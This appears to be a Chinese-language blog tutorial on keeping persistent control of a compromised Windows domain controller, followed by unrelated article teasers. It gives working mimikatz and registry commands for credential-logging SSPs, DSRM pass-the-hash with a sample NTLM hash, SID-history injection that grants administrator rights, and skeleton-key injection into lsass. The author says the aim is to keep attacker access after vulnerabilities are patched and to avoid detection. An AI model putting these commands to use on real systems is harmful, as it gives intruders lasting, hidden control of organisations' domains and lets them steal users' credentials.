windows权限维持—SSPHOOKDSRMSIDhistorySkeletonKey

windows权限维持—SSP&HOOK&DSRM&SIDhistory&SkeletonKey

  • 1. 权限维持介绍
    • 1.1. 其他
  • 2. 基于验证DLL加载—SPP
    • 2.1. 操作演示—临时生效
      • 2.1.1. 执行命令
      • 2.1.2. 切换用户
    • 2.2. 操作演示—永久生效
      • 2.2.1. 上传文件
      • 2.2.2. 执行命令
      • 2.2.3. 重启生效
    • 2.3. 总结
  • 3. 基于验证DLL加载—HOOK
  • 4. 基于机制账号启用—DSRM
    • 4.1. 适用版本
    • 4.2. 操作演示
      • 4.2.1. 获取dsrm及krbtgt的NTLM hash
      • 4.2.2. dsrm&krbtgt&NTLM hash同步
      • 4.2.3. 查看同步效果
      • 4.2.4. 修改dsrm登陆方式
      • 4.2.5. PTH传递攻击
      • 4.2.6. 查看效果
    • 4.3. 总结
  • 5. 基于用户属性修改—SID—history
    • 5.1. 操作演示
      • 5.1.1. 获取所有用户的SID值
      • 5.1.2. 获取某个用户SID值
      • 5.1.3. 赋予某用户administrator权限
      • 5.1.4. 查看dbadmin的SID值
      • 5.1.5. 测试
      • 5.1.6. 再次测试
    • 5.2. 总结
  • 6. 基于登陆进程劫持—skeleton-key
    • 6.1. 操作演示
      • 6.1.1. 测试域内用户与DC通行
      • 6.1.2. 连接DC
      • 6.1.3. 注入进程
      • 6.1.4. 测试通信
      • 6.1.5. 尝试重启
  • 7. 总结

1. 权限维持介绍

  在内网中权限维持是非常重要的一部分,很多的时候再拿下一台服务器的时候,如果没做权限维持,可能今天你还能登陆或者访问,明天你就无法访问了,当然也不排除存在那些服务器常年没人管的情况,像这类的服务器基本上都是存在一些小企业,只要服务器正常运行,那就不用管,而且一些大型的企业,都会有固定的管理人员,对相应的服务器进行定期的杀毒,检查,那么如果中木马了,快点的可能几个小时就会被发现,慢点的也就几天。

  如果是这样,那么我们前期的权限获取就白费了,那为了使得权限能够长期被维持,很多的大佬也都是使用了各种骚操作,上工具等等,同时由于很多情况下,获取到的权限都是利用一些WEB、系统、程序等上面出现的漏洞,而如果漏洞被修复意味着我们的权限也相当于失效,那么这时就需要对服务器做一定的权限维持,来确保达到长期的控制。

  当然,如果服务器重装,那权限维持必然会失败,这是避免不了的,这里的权限维持是指,服务器未重装只是对相关的漏洞进行了修复,而后续我们以实现不靠漏洞来进行权限的维持。

1.1. 其他

  这里首先让其域控上线,这里已经开始学习权限维持了,那么之前如何拿到域控权限的就不在赘述了。

2. 基于验证DLL加载—SPP

  SSP—Security Support Provider,直译为安全支持提供者,又名 Security Package。简单的理解为 SSP 就是一个 DLL,用来实现身份认证,并且维持系统权限。

2.1. 操作演示—临时生效

  这里上线我也不想操作了,直接看演示,由于我们进行权限维持不一定非要在域控上进行操作,但是,在域控上进行操作,能够获取到的权限更多,毕竟域控是这个域中的管理员。

2.1.1. 执行命令

  这里可以使用mimikatz进行命令执行,执行后就可以进行操作了,不过需要注意的是,该命令是一次性的,所谓的一次性就是当这台服务器重启后,那么这条命令就无法再次执行了,相当于重启即失效。

privilege::debug
misc::memssp

在这里插入图片描述

2.1.2. 切换用户

  当将上述命令执行结束后,就可以等着管理员切换用户了,其实也不用切换用户,一般情况下服务器长时间待机都会锁屏,只要等待管理员重新登陆即可,而这里我们直接可以使用切换用户来实现这一操作。

可以看到在下述的文件路径中获取到了登陆的账号密码。

C:\Windows\System32\mimilsa.log   ##文件位置。

在这里插入图片描述

2.2. 操作演示—永久生效

  这个操作需要修改注册表,是比较麻烦的,同时在cs中无法执行交互式命令,所以就需要远程登陆到对方的主机中来进行执行,如果在域中,并且域控不出网,那么会是很复杂的。

  好处也是永久失效,不过想要生效,前提条件就是需要对服务器进行一次重启。

  所以这里演示我也是直接在域控中操作吧,暂时没其他的好办法。

2.2.1. 上传文件

  这里需要将mimikatz中的mimilib.dll上传到域控的C:\windows\system32\目录下。

在这里插入图片描述

2.2.2. 执行命令

  这里为什么说无法在cs中执行,仔细看图片,由于在修改过程中,会存在一个交互式的命令,而CS中是无法执行交互式命令的,不过我记得MSF好像是可以直接进行交互式命令的。

  不过后来,有位兄弟帮我解决了,感谢。

#查看当前注册表中的设置值
reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
#修改注册表中的值
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ


#CS中修改注册表中的值
shell echo yes | reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ

在这里插入图片描述

  CS中操作的效果。

在这里插入图片描述

2.2.3. 重启生效

  上述命令执行完后会在注册表中添加一个mimilib也就是会调用mimilib.dll,要注意在mimilib.dll前面有一个\0是换行。并且在重启后会在C:\windows\system32\kiwissp.log记录账号密码。

在这里插入图片描述

2.3. 总结

  由于第二种办法需要重启生效,而在实际攻击中,作为攻击者去重启服务器,必然增加了被查的风险,所以最好是相互配合。

  这两种办法,各有各的好处,但同时也各有各的坏处,在最好能够将两个手段都利用上,确保成功获取到账号密码,不管是重启后,还是未重启动能够获取到。如果存在文件无法访问的情况,完全可以将文件进行共享,利用共享发送到其他的主机上。

3. 基于验证DLL加载—HOOK

  关于这个手法,目前是有本地监听与远程监听的,但可惜的是,工具长时间未更新,且本地监听的github项目也已被删除,所以这里感兴趣的去自行搜索吧,这里就不演示了,同时下载下来的程序还需要自动的去编译,并且参考了一些文章,这个工具在执行的时候,很容易出现各种报错。

4. 基于机制账号启用—DSRM

  DSRM(Diretcory Service Restore Mode,目录服务恢复模式)是windows域环境中域控制器的安全模式启动选项。域控制器的本地管理员账户也就是DSRM账户,DSRM密码是在DC创建时设置的,一般很少更改。DSRM的用途是:允许管理员在域环境出现故障时还原、修复、重建活动目录数据库。通过在DC上运行ntdsutil 工具可以修改DSRM密码。

4.1. 适用版本

  适用版本为windows server2008(需安装KB961320才可以使用指定域账号的密码对DSRM的密码进行同步)及以后的版本,windows server2003不能使用此方法。

4.2. 操作演示

  整个过程多数都是在主机上操作的,所以还是需要远程登陆到域控主机上,要注意隐蔽自己哦。

4.2.1. 获取dsrm及krbtgt的NTLM hash

  这里使用主机上操作的,不过也可以在CS中操作。

privilege::debug
lsadump::lsa /patch /name:webadmin  ##这个域用户可以随便是那个域用户。
token::elevate
lsadump::sam

在这里插入图片描述

4.2.2. dsrm&krbtgt&NTLM hash同步

  这里还是需要到主机上操作,由于需要shell交互的太多了,不过条件允许的可以,使用反弹shell进行交互。

#进入ntdsutil
ntdsutil
#修改DSRM的密码
set DSRM password
#使DSRM的密码和指定域用户的密码同步 eg:sync from domain account [域用户名]
sync from domain account webadmin
#退出
按两次q即可退出(第1次:退出DSRM密码设置模式;第2次退出ntdsutil)

在这里插入图片描述

4.2.3. 查看同步效果

  这里我们查一下,是否已经将dsrm的hash值同步为webadmin用户的hash了。

在这里插入图片描述

4.2.4. 修改dsrm登陆方式

  dsrmadminlogonbehavior代表的是DSRM有三种登录方式

  • 0:默认值,只有当域控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号
  • 1:只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器
  • 2:在任何情况下,都可以使用DSRM管理员账号登录域控制器
powershell New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD

在这里插入图片描述

4.2.5. PTH传递攻击

  使用mimikatz进行哈希传递,在域成员机器的管理员模式下打开mimikatz,这里可以直接使用CS运行也可以。

privilege::debug
sekurlsa::pth /domain:DC /user:administrator /ntlm:518b98ad4178a53695dc997aa02d455c

在这里插入图片描述

4.2.6. 查看效果

  这里其实就是在域内主机上弹出一个弹窗,借用这个弹窗来执行命令,来访问域控,而当窗口被关闭后,可以下次借用pth攻击,再次调用起来,确保权限的维持。但是缺点也很明显,我需要远程登陆到域控服务器上,否则弹出的弹窗我并不能利用。

在这里插入图片描述

4.3. 总结

  利用系统自带机制模式DSRM,修改DSRM默认登录方式和属性,通过其同步webadmin进行PTH攻击,实现持续化控制,但适用于系统>=windows server2008。每个域控制器都有本地管理员账号和密码(与域管理员账号和密码不同)。DSRM账号可以作为一个域控制器的本地管理员用户,通过网络连接域控制器,进而控制域控制器。

5. 基于用户属性修改—SID—history

  SID即安全标识符(Security Identifiers),是标识用户、组和计算机帐户的唯一的号码。在第一次创建该帐户时,将给网络上的每一个帐户发布一个唯一的 SID。

  SIDHistory属性的存在是为了解决用户在迁移到另一个域中的时候权限会改变的问题。例如用户zhangsan在A域中本来是管理员,迁移到B域的时候因为sid的改变有可能会变成普通用户权限,这时候如果给zhangsan用户添加一个值为zhangsan在A域中的SID的SIDHistory值就可以解决这个问题,只有域管有更改SIDHistory的权利。

5.1. 操作演示

  这里的操作也是相对来说比较简单的,同时操作都是可以再CS中完成的。

5.1.1. 获取所有用户的SID值

  通过获取SID可以看到只有最后的四位值不同,其实这里也就是代表不同的权限。

shell wmic useraccount get name,sid

在这里插入图片描述

5.1.2. 获取某个用户SID值

  这里使用CS输入命令后,会出现乱码的情况,不过还是能够使用的。

powershell Import-Module ActiveDirectory
powershell Get-ADUser webadmin -Properties sidhistory

在这里插入图片描述

5.1.3. 赋予某用户administrator权限

  由于这里我登陆的是dbadmin,所以就修改dbadmin,可以看到下面提示成功了。

privilege::debug
sid::patch
sid::add /sam:dbadmin /new:administrator

在这里插入图片描述

5.1.4. 查看dbadmin的SID值

  可以看到SID history是具备administrator权限了。

Import-Module ActiveDirectory
Get-ADUser dbadmin -Properties sidhistory

在这里插入图片描述

5.1.5. 测试

  可以看到这里能够正常访问了。

dir \\192.168.3.33\c$

在这里插入图片描述

5.1.6. 再次测试

  这里再次测试是由于再使用dbadmin的时候,未提前将访问的效果展示出来,后续我又补了一张webadmin的权限前后的效果。

在这里插入图片描述

5.2. 总结

  这个手法就是将域控管理员的SID加入到域内一些恶意用户或者权限低的用户的SID history中,这样域内账户就可以用户域管权限去访问域控了,只要不修改域账号则可以一直访问。

  在用户中心的无法查询到变化的,也就是说只要账户不删除就可以一直访问。

在这里插入图片描述

6. 基于登陆进程劫持—skeleton-key

  Skeleton Key(万能密码)方法可以对域内管理员权限进行持久化操作,使用mimikatz完成注入Skeleon Key的操作,将 Skeleton Key注入域控制器的lsass.exe进程。

6.1. 操作演示

  这里这个操作差不多我研究了一个多小时,当初我是用域内主机配置向DC的访问,理论上都应该是这样的,但是出现一个最大的问题就是,mimikatz一直报错,后来修改了一下,从DC访问内部主机,这样的思路,但是我发现成功成功执行,这我就不得所解了,查了很多的资料均没有这样的,你们可以测试一下,是不是我环境有问题。

  下面的均是从DC向域内主机的通行。

6.1.1. 测试域内用户与DC通行

  这里由于权限问题,我又切换到sqladmin了,可以看到这里是无法访问的。

dir \\DC\c$

在这里插入图片描述

6.1.2. 连接DC

  这里有一个需要了解的,权限维持是再获取权限后进行的维持,那么此刻你是知道DC的密码的,只是后续的一切权限维持的操作,都是防止DC密码被修改,而导致你无法访问。

  由于这里我域内主机出现问题了,所以这里是从DC向域内主机访问,正常情况下DC是都能够访问域内主机的,所以这里建立连接也是演示一下流程。

net use \\windows2008\ipc$ "admin@123" /user:0DAY\administrator

在这里插入图片描述

6.1.3. 注入进程

  起初我觉得可能是需要高权限,但是换了很多的虚拟机依旧还是不行,有知道的可以告知一下,后来替换为DC向域内主机测试就成功了,难搞!

privilege::debug
misc::skeleton

在这里插入图片描述

6.1.4. 测试通信

  这里可以看到,使用密码是不对的,但是命令依旧能够成功,那么证明这个操作是可行的,可能真的是我的环境有问题。

net use \\windows2008\ipc$ "mimikatz" /user:0DAY\administrator
dir \\windows2008\c$

在这里插入图片描述

6.1.5. 尝试重启

  由于Skeleton Key技术是被注入到lsass.exe进程的,所以它只存在内存中,如域控重启,万能密码将失效,这里可以看到我重启后,命令就无法执行了。

在这里插入图片描述

7. 总结

  总体来说这些案例中有很多都是需要上传mimikatz对主机上的,同时很多操作都是需要交互的,那么想要做好权限维持,那么只能再一些必要的情况下去远程连接对方的主机来进行操作,不过这样也增加了被发现的风险,所以有些就尽量不要去操作了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/80123.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

k8s的pv和pvc创建

//NFS使用PV和PVC 1、配置nfs存储 2、定义PV 实现 下图的pv和pvc测试 pv的定义 这里定义5个PV,并且定义挂载的路径以及访问模式,还有PV划分的大小 vim /pv.yamlapiVersion: v1 kind: PersistentVolume metadata:name: pv001 spec:capacity:storage: …

私密数据采集:隧道爬虫IP技术的保密性能力探究

作为一名专业的爬虫程序员,今天要和大家分享一个关键的技术,它能够为私密数据采集提供保密性能力——隧道爬虫IP技术。如果你在进行敏感数据采集任务时需要保护数据的私密性,那么这项技术将是你的守护神。 在进行私密数据采集任务时&#xff…

【制作npm包4】api-extractor 学习

制作npm包目录 本文是系列文章, 作者一个橙子pro,本系列文章大纲如下。转载或者商业修改必须注明文章出处 一、申请npm账号、个人包和组织包区别 二、了解 package.json 相关配置 三、 了解 tsconfig.json 相关配置 四、 api-extractor 学习 五、npm包…

Fluent-MyBatis

Fluent-MyBatis Fluent-MyBatis 简介 何为 Fluent Mybatis? Fluent Mybatis, 是一款 Mybatis 语法增强框架, 综合了 Mybatis Plus, Dynamic SQL, JPA 等框架特性和优点 Fluent-MyBatis 开源地址 Fluent-MyBatis 原理 Fluent-MyBatis 原理是利用 annotation pro…

【IMX6ULL驱动开发学习】08.马达驱动实战:驱动编写、手动注册平台设备和设备树添加节点信息

目录 一、使用设备树 1.1 修改设备树流程 二、手动创建平台设备 三、总结(附驱动程序) 前情提要:​​​​​​​【IMX6ULL驱动开发学习】07.驱动程序分离的思想之平台总线设备驱动模型和设备树_阿龙还在写代码的博客-CSDN博客 手动注册…

爬虫逆向实战(五)--猿人学第三题

一、数据接口分析 主页地址:猿人学第三题 1、抓包 通过抓包可以发现数据接口是api/match/3 2、判断是否有加密参数 请求参数是否加密? 无请求头是否加密? 无响应是否加密? 无cookie是否加密? 无 二、发送请求 …

什么是闭包(closure)?为什么它在JavaScript中很有用?

聚沙成塔每天进步一点点 ⭐ 专栏简介⭐ 闭包(Closure)是什么?⭐ 闭包的用处⭐ 写在最后 ⭐ 专栏简介 前端入门之旅:探索Web开发的奇妙世界 记得点击上方或者右侧链接订阅本专栏哦 几何带你启航前端之旅 欢迎来到前端入门之旅&…

基于安防监控EasyCVR视频汇聚融合技术的运输管理系统的分析

一、项目背景 近年来,随着物流行业迅速发展,物流运输费用高、运输过程不透明、货损货差率高、供应链协同能力差等问题不断涌现,严重影响了物流作业效率,市场对于运输管理数字化需求愈发迫切。当前运输行业存在的难题如下&#xf…

架构师必备--高可用高性能分布式数据库Tidb安装部署实践

本文针对分布式、高可用的tidb数据库,从搭建实际生产环境的集群服务,介绍下tidb的安装流程、安装前的环境检测和系统优化、服务访问等方面介绍下具体的流程,希望对大家熟悉和了解tidb数据库有所帮助,减少不必要的弯路。 1.概述 …

基于WebSocket的在线文字聊天室

与Ajax不同,WebSocket可以使服务端主动向客户发送响应,本案例就是基于WebSocket的一个在线聊天室,不过功能比较简单,只能满足文字交流。演示如下。 案例学习于b站up主,链接 。这位up主讲的非常清楚,值得去学…

(黑客)自学

一、前言: 1.这是一条坚持的道路,三分钟的热情可以放弃往下看了. 2.多练多想,不要离开了教程什么都不会了.最好看完教程自己独立完成技术方面的开发. 3.有时多 google,baidu,我们往往都遇不到好心的大神,谁会无聊天天给你做解答. 4.遇到实在搞不懂的,可以先放放,以…

Java多态详解(1)

多态 多态的概念 所谓多态,通俗地讲,就是多种形态,具体点就是去完成某个行为,当不同的对象去完成时会产生出不同的状态。 比如: 这一时间爆火的“现代纪录片”中,麦克阿瑟总是对各种“名人”有不同的评价&…

springboot异步文件上传获取输入流提示找不到文件java.io.FileNotFoundException

springboot上传文件,使用异步操作处理上传的文件数据,出现异常如下: 这个是在异步之后使用传过来的MultipartFile对象尝试调用getInputStream方法发生的异常。 java.io.FileNotFoundException: C:\Users\Administrator\AppData\Local\Temp\to…

JAVA免杀学习与实验

1 认识Webshell 创建一个JSP文件&#xff1a; <% page import"java.io.InputStream" %> <% page import"java.io.BufferedReader" %> <% page import"java.io.InputStreamReader" %> <% page language"java" p…

【java安全】Log4j反序列化漏洞

文章目录 【java安全】Log4j反序列化漏洞关于Apache Log4j漏洞成因CVE-2017-5645漏洞版本复现环境漏洞复现漏洞分析 CVE-2019-17571漏洞版本漏洞复现漏洞分析 参考 【java安全】Log4j反序列化漏洞 关于Apache Log4j Log4j是Apache的开源项目&#xff0c;可以实现对System.out…

使用metasploit(MSF)对windows的ms17-010漏洞进行利用

主机发现 Ping扫描-禁用端口扫描 nmap -sn 192.168.1.0/24 ─# nmap -sn 192.168.1.0/24 Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-14 10:00 EDT Nmap scan report for 192.168.1.1 Host is up (0.0053s latency). MAC Address: FC:BC:D1:C7:2F:A8 (Huawei Te…

OpenHarmony Meetup 广州站 OpenHarmony正当时—技术开源

招募令 OpenHarmony Meetup 广州站 火热招募中&#xff0c;等待激情四射的开发者&#xff0c;线下参与OpenHarmonyMeetup线下交流 展示前沿技术、探讨未来可能、让你了解更多专属OpenHarmony的魅力 线下参与&#xff0c;先到先得,仅限20个名额&#xff01; 报名截止时间8月23日…

[HZNUCTF 2023 preliminary] 2023杭师大校赛(初赛) web方向题解wp 全

ezflask 先看题目&#xff0c;应该是模板注入&#xff08;SSTI&#xff09;&#xff0c;输入{{7*‘7’}}直接报错误。 发现模板是反序输出的&#xff0c;怪不得不能直接输入{{}}。 输入}}‘7’*7{{返回777777&#xff0c;是jinja2 //直接手打&#xff0c;无所谓我是怨种 ?nam…

macOS Ventura 13.5.1(22G90)发布(附黑/白苹果系统镜像地址)

系统镜像下载&#xff1a;百度&#xff1a;黑果魏叔 系统介绍 黑果魏叔 8 月 18 日消息&#xff0c;苹果今日向 Mac 电脑用户推送了 macOS 13.5.1 更新&#xff08;内部版本号&#xff1a;22G90&#xff09;&#xff0c;本次更新距离上次发布隔了 24 天。 本次更新重点修复了…

企望制造ERP系统 RCE漏洞[2023-HW]

企望制造ERP系统 RCE漏洞 一、 产品简介二、 漏洞概述三、 复现环境四、 漏洞复现小龙POC检测 五、 修复建议 免责声明&#xff1a;请勿利用文章内的相关技术从事非法测试&#xff0c;由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失&#xff0c;…